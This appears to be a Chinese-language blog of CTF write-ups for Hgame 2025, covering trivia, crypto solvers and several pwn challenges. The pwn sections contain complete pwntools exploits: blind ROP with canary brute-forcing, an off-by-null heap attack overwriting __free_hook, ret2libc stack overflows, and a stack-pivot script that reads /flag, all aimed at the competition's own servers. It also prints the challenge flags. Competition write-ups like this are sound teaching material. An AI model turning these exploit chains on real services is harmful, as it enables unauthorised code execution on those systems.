Hgame2025 on Nan0inPsyLog

Hgame2025_final wp

Wed, 19 Mar 2025 11:32:00 +0000

misc

Vidar知识大问答

1.Vidar的创立年份？ D - D.2008

2.Vidar刚创立时的名字？ A - A.HDUISA

3.Hgame的全名？ C C.HCTFGame

4.Vidar现在的队长是谁？ B - A.z211x B. 张博文

去年的第三次新生培训主题是什么？ A - （看群） A.Re & Pwn
以下对vidar描述错误的是？ D - D. 芬里尔的手下败将
以下哪个不是Vidar的成员？B（看官网） B.loging
你身边有喜欢画画的同学，你会推荐ta来vidar做美工吗？A - A. 会
杭电有几栋教学楼（下沙主校区）？B - B.11
关注公众号”安协小天使“发送信息”Hgame FINAL“ C - Hgame{DACBADBABC} 不要爆破平台呦~~
不是，为什么队长名是本名。。

Railway Picture

原图百度搜图后找到

hgame{hangzhou_keyunzhongxin}

crypto

给deepseek的调教参数(realfield需要python中优化，以及素数判定要防止范围不对)：

根据c和hint反向解出flag内容，
将realfiled等sage中的函数进行优化替换，使得可以在python中运行解出答案并且时间不会过长

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87


from decimal import Decimal, getcontext
import random

def is_prime(n, k=5):
 if n <= 1:
 return False
 elif n <= 3:
 return True
 if n % 2 == 0:
 return False
 d = n - 1
 r = 0
 while d % 2 == 0:
 d //= 2
 r += 1
 for _ in range(k):
 a = random.randint(2, min(n - 2, 1 << 20))
 x = pow(a, d, n)
 if x == 1 or x == n - 1:
 continue
 for __ in range(r - 1):
 x = pow(x, 2, n)
 if x == n - 1:
 break
 else:
 return False
 return True

def find_p_q_hint():
 getcontext().prec = 200
 hint_str = '1.9272080389735772625212607491570999634122053'
 hint = Decimal(hint_str)

 cf = []
 x = hint
 for _ in range(50):
 a = int(x)
 cf.append(a)
 remainder = x - a
 if remainder == 0:
 break
 x = Decimal(1) / remainder

 def convergents(cf):
 p_prev, p_curr = 1, cf[0]
 q_prev, q_curr = 0, 1
 yield (p_curr, q_curr)
 for a in cf[1:]:
 p_next = a * p_curr + p_prev
 q_next = a * q_curr + q_prev
 p_prev, p_curr = p_curr, p_next
 q_prev, q_curr = q_curr, q_next
 yield (p_curr, q_curr)

 c = 14476572213458615411518126140467642363521556738843670411747622001212459355051860361245525149102951233473362156251201776147334810593975810704636538003548345425341864228858388705
 for p_candidate, q_candidate in convergents(cf):
 if q_candidate < (1 << 63) or q_candidate >= (1 << 64):
 continue
 if p_candidate < (1 << 63) or p_candidate >= (1 << 64):
 continue
 if p_candidate <= q_candidate:
 continue
 if not is_prime(q_candidate):
 continue
 if not is_prime(p_candidate):
 continue
 ratio = Decimal(p_candidate) / Decimal(q_candidate)
 if abs(ratio - hint) < Decimal('1e-10'):
 a = []
 current = c
 valid = True
 for _ in range(10):
 ai = current % p_candidate
 if ai < 0 or ai > 255:
 valid = False
 break
 a.append(ai)
 current = current // p_candidate
 if not valid or current != 0:
 continue
 a = a[::-1]
 msg = bytes(a)
 if len(msg) == 10:
 print("Found flag: hgame{" + msg.decode() + "}")
 return

find_p_q_hint()

Found flag: hgame{@_ez_task!}

pwn

Backto2016

没有附件只有远程环境，我们需要通过远程环境盲打

在输入56个‘a’（算上一个换行符）即57个字符的时候发生了溢出报错，同时我们知道这个程序开启了canary，用于我们来判断栈溢出长度，缓冲区即56的长度

寻找stop_gadgets

第一个stop_addr，看起来这一次我们在发送之后成功返回到了某个意想不到的地址

在这一个stop_addr后返回了success!!

同时在经过反复调试以后我们找到了exit的stop_add，将其作为stop_gadget，具体原因可以在下文杂谈中得知

寻找common_gadgets

即使有了stop_gadget，原本要导致程序崩溃的地址之后也会崩溃，通用函数libc_csu_init，详情请见CTF github_book ,csu的gadgets允许我们进行6次pop寄存器的指令，我们通过从程序非阻塞地址处（见hints）

遍历去找到可以正确从栈中弹出六次数据的地址
common_gadgets也被我们称为brop_gadgets，但是我们发现根据hint来的话第一个0x400a02就是我你们要想要的gadget——吗？实际上如果我们不去检查会找到一些看似正确的pop地址后面就是dump地址、找libc、最后ret2libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("")
#gdb.attach(io)

libc=ELF("./libc.so.6")

def get_offset():
 i=1
 while 1:
 try:
 io=remote("node1.hgame.vidar.club",31958)
 io.recvuntil("password:\n")
 payload=b'a'*i
 io.sendline(payload)
 data=io.recv()
 io.close()
 if not ("Incorrect password") in data.decode():
 return i
 else:
 i+=1

 except EOFError:
 io.close()
 print("success,overflow")
 return i

def get_stop(canary):
 old_addr=0x4007b2
 length = 56
 while True:
 # time.sleep(0.5)
 print(hex(old_addr))
 try:
 io.recvuntil(b"password:\n")
 payload=b'a'*(length)+p64(canary)+b'a'*8+p64(old_addr)
 io.send(payload)
 out_put=io.recvline()
 print(out_put)
 time.sleep(0.2)
 if b"killed" in out_put :
 old_addr+=1
 else:
 print("you find stop gadget!-->",hex(old_addr))
 return old_addr
 except EOFError:
 old_addr+=1
 io.close()
def with_canary(io):
 canary = b'\x00'
 for i in range(7):
 for j in range(256):
 payload = b'a' * 56 + canary + bytes([j])
 io.recvuntil(b"password:\n")
 io.send(payload)
 out_put = io.recvline()
 print(out_put)
 # Check if 'Incorrect password,' is in the output, regardless of other lines
 if b'Incorrect password,' in out_put:
 canary += bytes([j])
 print(f"[+] Found byte {i+1}: 0x{j:02x}")
 break # Continue to the next byte
 else:
 print(f"try again! {i}:{j}")
 print("canary is ", hex(u64(canary)))
 return canary

def common_gadgets_addr(canary,stop_addr):
 old_addr=0x400a80 #通过hints跳过一些阻塞地址
 while True:
 old_addr+=1
 time.sleep(0.2)
 payload=b'a'*56+p64(canary)+p64(old_addr)
 payload+=p64(old_addr) #前面用来一个覆盖了
 payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) #传参
 payload+=p64(stop_addr) #返回到exit退出
 payload+=p64(0) #看以往题解得知这里加零是为了防止程序异常崩溃，就当return 0好了
 try:
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 print(out_put)
 if b"killed" in out_put:
 log.info("bad: 0x%x" % old_addr)
 else:
 log.info("you find possible common gadget!--> 0x%x" % old_addr)
 payload=b'a'*56+p64(canary)+p64(old_addr)
 payload+=p64(old_addr)
 payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 if b"killed" in out_put: #这里是因为如果brop的gadgets地址是正确的，程序返回到主程序运行后崩溃
 log.info("true brop gadget:0x%x" % old_addr)
 return old_addr
 except:
 log.info("bad: 0x%x" % old_addr)

def get_puts_plt(canary,stop_gadget,brop_gadget):
 pop_rdi = brop_gadget + 9 # pop rdi; ret; 与pop rbx固定偏移9字节，即pop r15的后两个字节 5f c3
 old_addr=0x400700 #缩小范围,肯定在stop_gadget附近
 while True:
 time.sleep(0.2)
 old_addr+=1
 payload=b'a'*56+p64(canary)+p64(0)
 payload+=p64(pop_rdi)
 payload+=p64(0x400000) #打印出0x400000地址处内容，程序头地址，由于程序头魔数，方便判断
 payload+=p64(old_addr)
 payload+=p64(stop_gadget)
 io.send(payload)
 out_put=io.recvuntil(b"password:")
 #这里是ELF文件的头部魔数，通过是否输出ELF文件头部来判断是否找到plt地址
 if b"\x7fELF" in out_put:
 log.info("puts@plt address: 0x%x" % old_addr-1)
 return old_addr-1
 else:
 log.info("bad: 0x%x" % old_addr)


#dump程序的原理puts函数是通过\x00截断的，并且末尾会加上\x0a换行，我们为了
#防止特殊情况要进行替换，最后读到\x0a的话大概率就是\n
def dump(stop_gadget,canary,brop_gadget,puts_plt,start_addr,end_addr):
 pop_rdi = brop_gadget + 9
 rusult = b""
 while start_addr < end_addr:
 sleep(0.05)
 payload=b'a'*56+p64(canary)+p64(0x12345678)
 payload+=p64(pop_rdi)
 payload+=p64(start_addr)
 payload+=p64(puts_plt)
 payload+=p64(stop_gadget)
 io.send(payload)
 data=io.recvline()
 io.recvuntil(b"password:")
 io.recvline()
 if data == b"\n":
 data=b"\x00"
 elif data[-1] == 0x0A:
 data=data[:-1]
 log.info("leaking: 0x%x --> %s" % (start_addr, data.hex()))
 rusult+=data
 start_addr+=len(data)
 return rusult


#打印出puts地址后去找libc
def get_puts_addr(buf_size, canary, stop_addr, gadgets_addr, puts_plt, puts_got):
 pop_rdi = gadgets_addr + 9
 payload = b"a" * buf_size + p64(canary) + p64(0)
 payload += p64(pop_rdi)
 payload += p64(puts_got)
 payload += p64(puts_plt)
 payload += p64(stop_addr)
 io.send(payload)
 io.recvline()
 data = u64(data[:-1] + b"\x00\x00")
 out_put=io.recvuntil(b"password:")
 puts_addr = u64(data[:-1].ljust(8, b"\x00"))
 log.info("puts address: 0x%x" % puts_addr)
 return puts_addr



#size=get_offset()
#size=56
io=remote("node1.hgame.vidar.club",31968)
new_canary=u64(with_canary(io))

#stop_addr=get_stop(new_canary)
stop_gadget=0x4007c0

#brop_gadget=common_gadgets_addr(new_canary,stop_gadget)
brop_gadget=0x400b2a

#puts_plt=get_puts_plt(new_canary,stop_gadget,brop_gadget)
puts_plt=0x400715

"""
code_bin_file=dump(stop_gadget,new_canary,brop_gadget,puts_plt,0x400000,0x410000) #还可以从0x600000左右dump data段
with open("code.bin","wb") as f:
 f.write(code_bin_file)
 f.close()
"""
puts_got=0x602018

puts_addr=get_puts_addr(56,new_canary,stop_gadget,brop_gadget,puts_plt,puts_got)

puts_offset=libc.symbols["puts"]
libc_base=puts_addr-puts_offset
log.success("libc_base:"+hex(libc_base))
system_addr=libc_base+libc.symbols["system"]
binsh_addr=libc_base+0x180543 #/bin/sh

payload=b'a'*56+p64(new_canary)+p64(0)
payload+=p64(brop_gadget+9)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
payload+=p64(stop_gadget)
io.sendline(payload)

io.interactive()
#print("offset is ",size)

hgame{N3ver_w1ll_I_pl4y_blind_aga1n_QAQ}

杂谈

虽然Brop似乎在这样看下来以后就是各种公式化的blind attack，但是实际上在比赛的时候我并未完整做出来

stop_addr

比赛的时候在试stop_addr的时候出了很多问题，浪费了大量时间
stop_gadget到底是个什么呢，我们在brop提出的论文章可以一窥程序运行结构，一个能让程序继续挂起的，类似死循环或者阻塞的代码片段就是stop_addr
也就是说，stop应该是一个plt表上的函数，在2016HCTF的brop题目中我们也可以知道这一点。
那么显然，stop_gadget不止一个，而如何精心选择一个stop_gadget显然是很重要的，因为如果选择一个不好的阻塞的函数可能会影响我们继续爆破和利用函数，尤其在一个更大更复杂的实际情况中，stop_gadget最好就是一个不会使得程序崩溃的返回地址，这里就选择了exit的地址作为这个stop_gadget

欸👆有人可能要问了，为什么我们不回到main函数呢？
仔细思考之后，虽然main作为程序入口函数，在程序中唯一，而且一般情况下子函数绝不会去调用main函数，但是main函数执行前会初始化一些如__libc_csu_init的函数，所以main并不能作为一个很好的stop。因为它会拦截一次对子进程的正常结束，我们需要子进程结束的回显来进行交互，所以我们不能选其作为stop_gadget

Hgame2025_week2_题解

Fri, 21 Feb 2025 21:32:00 +0000

摆了，共做出4道，所以pwn就放着了

misc

computer_cleaner_plus

CentOS7虚拟机，只有终端

题目说 自己的电脑还在遭受黑客的控制

于是看下进程，发现ps指令运行不了

修改执行权限后，运行成功这个elf文件就是后门文件

hgame{B4ck_D0_oR}

crypto

ancient_call

比较无聊，加密方式flag样式都给出了，反向解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


Major_Arcana = ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death", "Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands = ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands", "Knight of Wands", "Queen of Wands", "King of Wands"]
cups = ["Ace of Cups", "Two of Cups", "Three of Cups", "Four of Cups", "Five of Cups", "Six of Cups", "Seven of Cups", "Eight of Cups", "Nine of Cups", "Ten of Cups", "Page of Cups", "Knight of Cups", "Queen of Cups", "King of Cups"]
swords = ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords", "Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords", "King of Swords"]
pentacles = ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles", "Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles", "Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana = wands + cups + swords + pentacles
tarot = Major_Arcana + Minor_Arcana

def reverse_step(current):
 v0, v1, v2, v3, v4 = current
 a0 = (v0 - v1 + v2 - v3 + v4) // 2
 a1 = v0 - a0
 a2 = v1 - a1
 a3 = v2 - a2
 a4 = v3 - a3
 if a4 + a0 != v4:
 raise ValueError("Invalid reverse step")
 return [a0, a1, a2, a3, a4]

final_values = [
 2532951952066291774890498369114195917240794704918210520571067085311474675019,
 2532951952066291774890327666074100357898023013105443178881294700381509795270,
 2532951952066291774890554459287276604903130315859258544173068376967072335730,
 2532951952066291774890865328241532885391510162611534514014409174284299139015,
 2532951952066291774890830662608134156017946376309989934175833913921142609334
]

current = final_values.copy()
for _ in range(250):
 current = reverse_step(current)

def get_card(k):
 rev = k ^ -1
 if 0 <= rev < len(Major_Arcana):
 return f"re-{Major_Arcana[rev]}"
 elif 0 <= k < len(Major_Arcana):
 return Major_Arcana[k]
 else:
 index = k % len(tarot)
 return tarot[index]

initial_cards = [get_card(k) for k in current]
flag = "hgame{" + "&".join(initial_cards).replace(" ", "_") + "}"
print(flag)

hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}

pwn

Signin2Heap

保护全开

IDA打开查看，菜单题

main函数中增删查三大基本功能

add()中查看，搜索一下——offbynull漏洞，利用思路如下

offbynull可以破坏堆块结构，适当构造出堆块重叠，从而可以uaf
unlink泄露libc后堆块重叠可以修改tcache的fd指针，指向free_hook执行system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./vuln")
io=remote("node1.hgame.vidar.club",30769)
elf=ELF("./vuln")
libc=ELF('./libc-2.27.so')

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()

def add(idx,size,content):
 sa(b"choice:",p32(1))
 sla(b"Index: ", str(idx))
 sla(b"Size: ",str(size))
 sa(b"Content: ",content)
def free(idx):
 sa(b"choice:", p32(2))
 sla(b"Index: ", str(idx))
def show(idx):
 sa(b"choice:", p32(3))
 sla(b"Index: ", str(idx))

for i in range(7):
 add(i,0xf8,b"aaaa")
add(7,0xf8,b"aaaa")
add(8,0x88,b"aaaa")#8 注意到add()中末尾有\x00，我们要修改previnuse位
add(9,0xf8,b"aaaa")
add(10,0x88,b"aaaa")
add(11,0x88,b"aaaa")

for i in range(7):
 free(i)
free(8)
free(7)
add(8,0x88,b"a"*0x80+p64(0x90+0x100))
free(9) #unlink

for i in range(7):
 add(i,0xf8,"/bin/sh\x00")

add(7,0xf8,"aaaa")
show(8)


libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
#log.success("libc_base:"+hex(libc_base))
system_addr = libc_base+0x4f420
free_hook = libc_base+0x3ed8e8
add(12,0x88,b"aaaa")
add(9,0xf8,b"aaaa")
for i in range(7):
 free(i)
free(8)
free(7)
add(8,0x88,b"a"*0x80+p64(0x90+0x100))
free(9)

for i in range(7):
 add(i,0xf8,"/bin/sh")

add(13,0x88,b"a"*0x80+p64(0x90+0x100))
free(10)
free(8)
add(8,0x90,p64(0x1111)*12+p64(0x90)+p64(0x10)+p64(free_hook)) #tcache attack

add(9,0xf8,p64(0))
add(10,0x80,p64(0))
add(14,0x80,p64(system_addr))
free(3)

ia()

hgame{suCc3s5FuLIY_EXPlolt_oFF_bY-NuIL1b4a4e}

ps：add()最后一行在末尾加上了\x00，这个操作会检查是否越界，所以可能也可以利用这个\x00修改previnuse位来绕过检查实现堆块重叠，从而可以uaf，堆好难啊学的死去活来的

Hgame2025_week1 Counting_petals

Sat, 15 Feb 2025 16:49:00 +0000

counting petals

解析

IDA反编译栈布局（以rbp为基准）
+————————+
| return address | <- RBP + 8
+————————+
| saved RBP | <- RBP
+————————+
| canary | <- RBP - 8
+————————+
| v9 | <- RBP - 0Ch
+————————+
| v8 | <- RBP - 10h
+————————+
| v7[17] | <- RBP - 98h
+————————+
| v6 | <- RBP - 9Ch
+————————+
| v5 | <- RBP - A0h
+————————+
| v4 | <- RBP - A4h
+————————+
最开始输入v8, 一个不大于16的数, 位于rbp-10h 可以写入v8次数，根据v9比较进行判断但同时注意到v7[17]数组分配88h空间，且循环中逻辑是先++后填入数据
那么我们输入16的话刚好就可以通过覆写v8与v9来实现栈溢出

需要注意在while(v9<v8)中, 我们输入的是八位长整型如果我们想要改变v9的值，需要注意类型，不然就会像我刚开始一样虽然改变了v8一直死循环
因为v9始终置0

这里要注意的就是一开始随机生成的v6会用于进行运算来决定是否二次进入程序
所以我选择多运行几次😁 ps:canary有一种绕过方法，moectf2024:Catch_the_canary 我们直接在scanf读取数字时输入+或-绕过就行了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61


from pwn import *
from ctypes import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]
io=remote("node1.hgame.vidar.club",32242)
#io=process("./vuln")
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()


elf=ELF("./vuln")
libc=ELF("./libc.so.6")

sla(b"time?",b"16")
for i in range(1,16):
 sla(b": ", b"0")
sla(b"16 :",b"24") #v7[17]=24,rbp-98h+8*17(136)=ebp-10h，刚好到v8空间，因为输入的是ld所以高位的0会给v9
for i in range(1,24+1):
 sla(b": ", b"+")
#gdb.attach(io) 
sla(b"Reply 1 indicates the former and 2 indicates the latter: \n",b"1")
ru(b"Let's look at the results.\n")

output = ru(b" = ").decode().split(' + ')
log.success("output:{}".format(output))

#canary=int(output[16],10) #canary紧跟在后面
libc_base = int(output[18],10)-int("0x29d90",16) #0x29d90,ret
#print(hex(canary))
#print(hex(libc_base))

#下面时二次进入，相似部分跟上面一样即可
sla(b"time?",b"16")

system_addr=libc_base+libc.symbols["system"]
# binsh_addr=libc_base+0x1d8678
binsh_addr=libc_base+next(libc.search(b"/bin/sh"))
#pop_rdi_addr=libc_base+0x2a3e5
pop_rdi_addr = libc_base+libc.search(asm("pop rdi; ret")).__next__()
ret_addr=libc_base+0x29139

for i in range(15):
 sla(b": ", b"0")
sla(b"16 :",b"24")

for i in range(18):
 sla(b": ", b"+")

sl(str(pop_rdi_addr))
sl(str(binsh_addr))
sl(str(ret_addr)) #对齐
sl(str(system_addr))
io.interactive()

Hgame2025_week1 Ezstack

Sat, 15 Feb 2025 16:40:00 +0000

ezstack

关于本题环境

这题的socket一系列操作相当于创建了一个可以接受多个连接的监听
监听所有IP地址的绑定在端口9999上的进程，而fork()是用来创建子进程的，

题目给了dockerfile和start.sh，意思让我们自己本地搭个docker容器，不知道原因，先搭吧
我用的是wsl2，安装docker插件的话启动docker desktop自动读取 libc-2.31.so提取出来

本地启动./vuln之后，vscode跳出

在脚本中调用gdb.attach(io)，通过io=remote(“127.0.0.1”,9999)连接即可，一个shell运行一个shell调试

解析

保护

主要函数是这个,80大小和0x60，就是经典栈溢出，但是这里需要16字节的溢出空间明显不够，需要进行栈迁移寻找一下控制栈的gadget

找到一个很好的gadget

调整溢出后重新进入vuln并迁移到了bss段 payload = b'a'*80+p64(bss)+p64(vuln) ##填充栈并填充bss地址
泄露libc payload = p64(bss + 0x50) + p64(rsi_r15) + p64(write_got) + p64(1) + p64(write_plt) + p64(rsi_r15) + p64(bss) + p64(bss) + p64(read_plt) + p64(ret) + p64(bss - 0x50) + p64(leave_ret) 具体讲一下这里是如何迁移的(栈迁移是一个需要加深印象的难点)，这里迁移后将bss加上0x50作为栈上数据后填充rsi和r15用于控制（后续用），调用write函数后就可以将数据存储到bss中，并通过read去读取泄露出了write的实际地址来泄露libc的地址，然后返回
再次栈迁移准备系统调用read并再次返回到指定bss段位置 payload = p64(rdi) + p64(4) + p64(rsi) + p64(bss - 0x200) + p64(rdx_r12) + p64(0x200) + p64(0x200) + p64(read_plt) + p64(leave_ret) + p64(leave_ret) + p64(bss - 0x200) + p64(leave_ret)
系统调用并读取flag payload = p64(0) + p64(rax) + p64(2) + p64(rdi) + p64(bss + 192) + p64(rsi) + p64(0) + p64(syscall) + p64(rdi) + p64(4) + p64(rsi) + p64(bss) + p64(rdx_r12) + p64(0x50) + p64(20) + p64(read_plt) + p64(rdi) + p64(4) + p64(rsi) + p64(bss) + p64(rdx_r12) + p64(0x50) + p64(20) + p64(write_plt) + b"/flag"

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("")
io=remote("127.0.0.1",9999)
#db.attach(io)
#io=remote("node1.hgame.vidar.club",30095)

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()

elf=ELF('./vuln')
libc=ELF("./libc-2.31.so")

read_plt = elf.plt["read"]
write_plt = elf.plt["write"]
write_got =elf.got["write"]

bss = elf.bss() + 0x600
rdi = 0x401713
rsi_r15 = 0x401711
rsp_r13_r14_r15 = 0x40170d
leave_ret = 0x401426
ret = 0x40101a
printf = 0x4013E8
vuln = 0x4013D5

start = 0x401290
payload = b'a'*80+p64(bss)+p64(vuln) ##填充栈并填充bss地址
ru(b"luck.\n")
se(payload)

payload =p64(bss+0x50)+p64(rsi_r15)+p64(write_got)+p64(1)+p64(write_plt)+p64(rsi_r15)+p64(bss)+p64(bss)+p64(read_plt)+p64(ret)+p64(bss-0x50)+p64(leave_ret) #填充寄存器并迁移到bss段
se(payload)
ru(b"luck.\n")

libc_base = u64(io.recv(6).ljust(8, b'\x00')) - int("0x10e280",16)
print(hex(libc_base))
bss = bss+0x50
rdx_r12 = libc_base + 0x119431 #pop rdx
syscall = libc_base+0x25DC2 #第一个syscall
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()

payload = p64(rdi)+p64(4)+p64(rsi)+p64(bss-
0x200)+p64(rdx_r12)+p64(0x200)+p64(0x200)+p64(
read_plt)+p64(leave_ret)+p64(leave_ret)+p64(bss-
0x200)+p64(leave_ret) #栈迁移
se(payload)

bss = bss-0x200 #开辟bss空间
payload = p64(0)+p64(rax)+p64(2)+p64(rdi)+p64(bss+192)+p64(rsi)+p64(0)+p64(
syscall)+p64(rdi)+p64(5)+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x50)+p64(20)+p64(
read_plt)+p64(rdi)+p64(4)+p64(rsi)+p64(bss)+p64(
rdx_r12)+p64(0x50)+p64(20)+p64(write_plt)+b"/flag\x00"
se(payload)

io.interactive()

hgame{ThlS-1S-4_v3rY_E@5Y-St4ck_Pwn11a9bd4}
ξ( ✿＞◡❛) There is an obvious stack overflow here.

Hgame2025_week1 Format

Sat, 15 Feb 2025 00:53:00 +0000

format

解析

保护名字都叫format了大概是格式化字符串, 看IDA

但是vuln中限制了溢出长度这里考虑到了unsigned int和int的转化的区别，前面通过写溢出值绕过buf长度限制

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

libc=ELF('./libc.so.6')
elf=ELF('./vuln')
io=process('./vuln')
#io=remote("node1.hgame.vidar.club",31933)
gdb.attach(io)

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()


sl(b"1")
sl(b"%p") #变量空间正好，可以直接泄露栈地址
ru(b"type: ")
stack = int(rc(14), 16)
print(hex(stack))
sl(b"-1145141919") #绕过长度限制

vuln = 0x4011D9
printf = 0x4012CF
rbp = stack + int("0x2110",16) #迁移rbp
print(hex(rbp))

payload = b"a"*5+p64(rbp+0x60)+p64(vuln) #栈迁移
sl(payload)

payload =b"a"*4+p64(rbp+0x90)+p64(printf)+p64(0)+p64(0)+b"%17$p\x84\x84\x84"+p64(0)+p64(rbp)+p64(0x4011D0)
#前4个是因为最后的ret会将rsp向下走8位
#%17$p是格式化字符串泄露的format，将其调大使得溢出空间充足
sl(payload)

ru(b"type something:")


libc_base = int(rc(14),16) - int("0x29e40",16)
print(hex(libc_base))
pop_rdi_addr = libc_base+libc.search(asm("pop rdi; ret")).__next__()
system_addr=libc_base+libc.symbols["system"]
binsh_addr=libc_base+next(libc.search(b"/bin/sh"))
ret=0x4011EF
#ret2libc

payload =p64(0)+b"a"*4+p64(ret)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
sl(payload)

io.interactive()

#VIDAR{Care1ess_pr1ntf}

参考文章1 栈迁移详解

VIDAR{Care1ess_pr1ntf}

可能栈平衡没调好，一开始本地没确定能不能打通直接段错误退出了，但是远程是可以打通的，可能和libc版本有关？

Hgame2025_week1 剩余题解

Tue, 11 Feb 2025 14:46:00 +0000

解出总计10题

hgame week1 wp

misc

Hakuya Want A Girl Friend

下载得到一个hky.txt 打开一看有一大堆的十六进制文本，放到010editor中后导出文件，然后放到随波逐流

提取出一个压缩包，刚打开时显示已损坏但是还可以继续查看，那么压缩文件是没问题的

然后我在010editor中疯狂找密码找不出来，还傻乎乎地去锤出题人后来发现结尾是0A 1A 0A 0D 47 4E 50 89，反过来就是png文件的头，把压缩包部分删去后反转一下附上反转脚本:

反转脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


def reverse_hex_file(input_file, output_file):
 with open(input_file, 'rb') as f:
 data = f.read()

 reversed_data = data[::-1]

 with open(output_file, 'wb') as f:
 f.write(reversed_data)

